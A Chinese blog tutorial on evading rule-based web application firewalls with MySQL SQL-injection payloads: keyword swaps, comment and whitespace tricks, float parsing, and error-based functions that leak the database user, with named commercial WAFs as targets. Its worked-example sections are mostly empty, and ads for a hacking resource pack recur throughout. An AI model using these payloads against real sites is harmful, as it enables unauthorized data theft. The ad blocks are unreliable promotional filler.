1 前言
对于渗透测试人员来说掌握绕过各类WAF是一项重要的基本技能而WAF又分云WAF、硬件WAF、软件WAF、代码级WAF,本文针对基于规则类的WAF绕过技巧,这三篇文章希望可以帮助一些萌新学习到一些绕过WAF的姿势。
2 概述
绕过SQL注入规则主要利用WAF规则本身的问题、未考虑到SQL语法变形、及后端数据库SQL语句语法特性。不同的数据库虽然遵守SQL标准,但是通常会加入特有的语法。WAF的防御策略要兼顾各种数据库的特殊语法,容易遗漏,从而被利用绕过WAF。已下我们就介绍一些方法。
1关键字替换
2特殊符号
3注释符
4空白符绕过
5浮点数词法解析
6利用不常用报错函数绕过
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术(网络安全)电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
3 关键字替换
原理:现在世面上大部分WAF是通过正则+黑名单来起到拦截的作用,这种情况就可以用一些平常用的很少关键字替换来实现绕过,用的多的针对他的正则肯定就多,而这时候用一些偏门的,往往可以出乎意料。例如在mysql中,很多的waf会将sleep()函数列入了黑名单,为他添加很多相对应的正则,那么可以考虑使用和他差不多相同功能的benchmark()函数来实现绕过。
例如MySql中:
●AND 等价于 && ( 运算符 )
●OR 等价于 || ( 运算符 )
●= 等价于 like ( 运算符 )
●sleep() 等价于 benchmark() ( 延时函数 )
●mid()substring() 等价于 substr() ( 字符串截取函数 )
4 特殊符号
原理:关于这个的话就比较少了,有的时候waf在判断规则的时候是根据我们输入的内容来过滤的,例如360网站卫士,select * from tdb_goods where goods_id ='-1’unionselect*fromadmin 你这样输入语句他是不拦截的,但是你这样带入到MySql中MySql也不会识别,这个时候我们就可以尝试使用 “+”。
例子:select+*+from+admin 这样来尝试绕过“+”号相当于空格 在过滤空格的时候可以考虑使用这个突破。
5 注释符
原理:/*xxx*/是注释的意思,也是空白符的意思。MySQL对sql语句(union/**/select)词法是可以正常解析的。事实上大部分WAF都考虑到/**/可以作为空白符,但是waf检测 “/\*.*\*/”是非常性能,工程师会去使用一些折中的方法,例如说:可能在检测中间引入一些特殊字符,例如:/*\w+*/。或者,WAF可能只中间检查n个字符“/\*.{,n}\*/”。
1注释符: 2/**/ (常用于绕过waf)
3/*!*/ (常用于绕过waf)
4-- (常用于注释后面的sql语句)
5# (常用于注释后面的sql语句)
例子: 这种情况我们就可以考虑使用
select/**/xx/**/from/**/xxxx
select/*数字+字母*/xx/*数字+字母*/from/*数字+字母*/xxxx
select/*特殊符号+数字+字母*/xxx/*特殊符号+数字+字母*/from/*特殊符号+数字+字母*/xxxxx
举例: select/*@a?v|ddd–n*/xxxxx/*@a?v|ddd–n*/from/*@a?v|ddd–n*/xxxx
这里要特别说明,以前看到一篇waf绕过的文章那位前辈使用了 emoji表情 没错就是 emoji表情 绕过了国内大部分的WAF这故事告诉我们绕WAF就是在比脑洞想工程师没有想到的地方那么绕过WAF自然就水到渠成了。
6 空白符绕过
原理:现在大部分的WAF还是基于正则表达式来进行过滤的, SQL注入规则使用正则表达式的“\s”匹配空格,例如”select\s+union”。
那么利用正则表达式的空白符与MySQL空白符的不同说不定就可以绕过WAF的规则。
正则表达式空白符:%09,%0a,%0b,%0D,%20
MySql空白符:%09,%0A,%0b,%0D,%20,%0C,%A0,/**/
7 浮点数词法解析
原理: 利用MySql可以解析浮点数这个特点我们可以构造一些特殊的,带浮点数的语句来绕过WAF。
例子: 1select * from xxx where id=8E0union select 1,2,3,4,5,6,7E0from xxxx
2select * from xxx where id=8.0union select 1,2,3,4,5,6,7.0from xxxx
3select * from xxx where id=8\Nunion select 1,2,3,4,5,6,7 \Nfrom xxx
8 利用不常用报错函数绕过
原理:mysql的函数非常多,不同的函数有不同的功能,但是有一些对于我们渗透测试获取数据是很有用的但是又是用的很少的函数,WAF可能因为规则的不全木有录入进去导致绕过。
例子: 1select extractvalue(1, concat(1,user() ));
2select updatexml(1, concat(1,user() ),1);
3select exp(~(select * from(select user())a))
这里我就列举三种因为其他的大部分都需要 select * from xxx 我都可以这样操作了何必还那么麻烦呢?所以这里就列举了这3个比较实用的。
9 实例1
绕过网站安全狗(Apache版)4.0.18089进行注入
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术(网络安全)电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
9 实例2-绕过云锁win_3.1.6版进行注入(针对GET请求)
**我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术(网络安全)电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~**

10 实例3-绕过360网站卫士获取数据(一次很失败的绕过)
这个方法用于大家找到了网站的注入但是又证明不了时使用,只能出 user() 数据来证明这是一个漏洞。
最终user用户名称:cloud_checker@10.205.121.21
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~